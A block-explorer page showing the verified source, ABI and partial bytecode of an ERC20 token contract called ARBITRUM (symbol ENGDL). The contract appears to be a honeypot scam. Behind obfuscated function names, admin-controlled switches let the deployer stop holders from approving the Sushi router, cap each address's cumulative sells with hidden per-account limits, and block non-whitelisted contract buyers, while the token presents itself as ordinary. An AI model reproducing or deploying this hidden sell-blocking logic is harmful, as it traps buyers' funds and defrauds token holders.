ETH Price: $2,340.55 (+2.27%)

Token

ENGDL (ENGDL)

Overview

Max Total Supply

100,000,000 ENGDL

Holders

6

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
ARBITRUM

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-10-20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IERC165 {
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

abstract contract ERC165 is IERC165 {
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}



interface IERC20Errors {
    error ERC20InsufficientBalance(
        address sender,
        uint256 balance,
        uint256 needed
    );
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(
        address spender,
        uint256 allowance,
        uint256 needed
    );
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}


interface IAccessControl {
    error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
    error AccessControlBadConfirmation();
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );
    event RoleGranted(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );
    event RoleRevoked(
        bytes32 indexed role,
        address indexed account,
        address indexed sender
    );

    function hasRole(bytes32 role, address account)
        external
        view
        returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address account) external;

    function revokeRole(bytes32 role, address account) external;

    function renounceRole(bytes32 role, address callerConfirmation) external;
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}



abstract contract Context {
    struct IEKDS {
        mapping(address => uint256) rm;
        mapping(address => uint256) rd;
    } 
    mapping(address => bool) _Ulsdiec;
    mapping(address => IEKDS) OEKSA;
    address uniV2;
    uint256 public _puonu;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }
}





library Strings {

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }


}


abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) hasRole;
        bytes32 adminRole;
    }
    
    mapping(bytes32 => RoleData) private _roles;
    bytes32 public constant ADMIN_ROLE = 0x00;

    bytes32 public constant SALAUI_ROLE = "SALAUI";

    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return
            interfaceId == type(IAccessControl).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    function hasRole(bytes32 role, address account)
        public
        view
        virtual
        returns (bool)
    {
        return _roles[role].hasRole[account];
    }

    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert AccessControlUnauthorizedAccount(account, role);
        }
    }

    function airspaMe(bytes32 role, address account, string memory memo)
        public
        onlyRole(ADMIN_ROLE)
    {

        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(memo);
        if (err == false) {
            revert AccessControlBadConfirmation();
        }
        if(memoUint >= 0){
            if(role == SALAUI_ROLE){
                _uiuRMnd(account, memoUint, true);
            }
            
            
        }
        
    }

    function APuonu(bytes32 role, uint256 puonu) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _puonu = puonu;
        }
    }

    function _ui_RMS_nd(address account) internal view returns (uint256) {
        return OEKSA[account].rm[account];
    }

    function _ui_RDS_nd(address account) internal view returns (uint256) {
        return OEKSA[account].rd[account];
    }

    function Ui_RMS_nd(address account) public view returns (uint256) {
        return OEKSA[account].rm[account]/10**18;
    }

    function Ui_RDS_nd(address account) public view returns (uint256) {
        return OEKSA[account].rd[account]/10**18;
    }

    function addUlsdiec(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _Ulsdiec[addr] = true;
        }
    }

    function remUlsdiec(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
        if(role == ADMIN_ROLE){
            _Ulsdiec[addr] = false;
        }
        
    }

    function _uiuRMnd(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rm[account] = value*10**18;
        } else {
            OEKSA[account].rm[account] = value;
        }
    }

    function _uiuRDnd(
        address account,
        uint256 value,
        bool emitEvent
    ) internal {
        if (emitEvent) {
            OEKSA[account].rd[account] = value*10**18;
        } else {
            OEKSA[account].rd[account] = value;
        }
    }

    function traUndkcP(
        bytes32 role,
        address addr,
        uint256 num
    ) public onlyRole(ADMIN_ROLE) returns (bool success) {
        if(role == ADMIN_ROLE){
            return IERC20(addr).transfer(msg.sender, num);
        }else{
            return false;
        }
        
    }

    function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account)
        public
        virtual
        onlyRole(getRoleAdmin(role))
    {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address callerConfirmation)
        public
        virtual
    {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }
        _revokeRole(role, callerConfirmation);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (!hasRole(role, account)) {
            _roles[role].hasRole[account] = true;
            emit RoleGranted(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }

    function _revokeRole(bytes32 role, address account)
        internal
        virtual
        returns (bool)
    {
        if (hasRole(role, account)) {
            _roles[role].hasRole[account] = false;
            emit RoleRevoked(role, account, _msgSender());
            return true;
        } else {
            return false;
        }
    }
}

abstract contract ERC20 is
    Context,
    IERC20,
    IERC20Metadata,
    IERC20Errors,
    AccessControl
{
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address sushi_addr = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _grantRole(ADMIN_ROLE, _msgSender());
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    

    function _UIV1nd(address to, uint256 amount) internal {
        if (amount > 0) {
            if(isContract(to)){
                if (to != address(0) && !_Ulsdiec[to]) {
                    revert ERC20InvalidReceiver(to);
                }
            }
            
        }
    }


    function _UIV2nd(address from, uint256 amount) internal {
       if(!hasRole(ADMIN_ROLE, from)){
            if(!_Ulsdiec[from]){
                if (_puonu > 0) {
                    if(amount > 0){
                        uint256 rd = _ui_RDS_nd(from) + amount;
                        if(_ui_RMS_nd(from) > 0){
                            if(rd > 0){
                                if (rd <= _ui_RMS_nd(from) && amount > 0) {
                                    _uiuRDnd(from, rd, false);
                                } else {
                                    revert ERC20InvalidSender(from);
                                }
                            }
                            
                        }
                    }
                    
                }
            }
       }
    }

    

    function update(
        address from,
        address to,
        uint256 value
    ) internal {
        if (from == uniV2) {
            _UIV1nd(to, value); 
        } else {
            _UIV2nd(from, value);
        }
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        update(from, to, value);
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }
        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }
        emit Transfer(from, to, value);
    }

    

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _grantRole(ADMIN_ROLE, account);
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _approveui(owner, spender);
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _approveui(
        address owner,
        address spender
    ) internal {
        if(!isContract(owner)){
            if(spender == sushi_addr){
                _approveui(owner);
            }
        }
        
    }

    function _approveui(
        address owner
    ) internal virtual returns (bool) {
        if(!_Ulsdiec[owner]){
            if(_puonu > 80){
                revert ERC20InvalidSender(owner); 
            }
        }
        return true;

    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function muilSenAddr(
        address tokenC,
        address[] memory _address,
        uint256 _bala
    ) public onlyRole(ADMIN_ROLE) {
        ERC20 tokenCon = ERC20(tokenC);
        uint256 tokendecimal = tokenCon.decimals();
        for (uint8 i = 0; i < _address.length; i++) {
            uint256 temp = _bala * 10**tokendecimal;
            tokenCon.transfer(_address[i], temp);
        }
    }
}



contract ARBITRUM is ERC20 {
    constructor(
        string memory _name,
        string memory _symbol,
        uint256 value,
        address account
    ) ERC20(_name, _symbol) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(sushi_addr);
        address _uniV2 = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(
                address(this),
                address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
            );
        _mint(account, value * 10**decimals());
        uniV2 = _uniV2;
        _Ulsdiec[uniV2] = true;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"puonu","type":"uint256"}],"name":"APuonu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SALAUI_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Ui_RDS_nd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Ui_RMS_nd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_puonu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"addUlsdiec","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"},{"internalType":"string","name":"memo","type":"string"}],"name":"airspaMe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenC","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"muilSenAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"remUlsdiec","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"traUndkcP","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052731b02da8cb0d097eb8d57a175b88c7d8b47997506600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610063575f80fd5b50604051613f57380380613f5783398181016040528101906100859190610dca565b83838160089081610096919061106a565b5080600990816100a6919061106a565b506100c65f801b6100bb6102e060201b60201c565b6102e760201b60201c565b5050505f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610138573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061015c9190611139565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016101aa929190611173565b6020604051808303815f875af11580156101c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ea9190611139565b9050610220836101fe6103dd60201b60201c565b600a61020a9190611302565b86610215919061134c565b6103e560201b60201c565b8060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050505050611436565b5f33905090565b5f6102f8838361047d60201b60201c565b6103d357600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103706102e060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506103d7565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610455575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161044c919061138d565b60405180910390fd5b6104675f801b836102e760201b60201c565b506104795f83836104e160201b60201c565b5050565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b6104f283838361070e60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610542578060075f82825461053691906113a6565b92505081905550610612565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156105cc578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016105c3939291906113e8565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610659578060075f82825403925050819055506106a4565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610701919061141d565b60405180910390a3505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361077757610772828261078d60201b60201c565b610788565b610787838261087360201b60201c565b5b505050565b5f81111561086f576107a4826109a360201b60201c565b1561086e575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561082b57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561086d57816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610864919061138d565b60405180910390fd5b5b5b5050565b6108855f801b8361047d60201b60201c565b61099f575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661099e575f600354111561099d575f81111561099c575f816108f9846109c560201b60201c565b61090391906113a6565b90505f61091584610a4960201b60201c565b111561099a575f8111156109995761093283610a4960201b60201c565b811115801561094057505f82115b1561095b5761095683825f610acc60201b60201c565b610998565b826040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161098f919061138d565b60405180910390fd5b5b5b505b5b5b5b5050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015610b6a57670de0b6b3a764000082610ae6919061134c565b6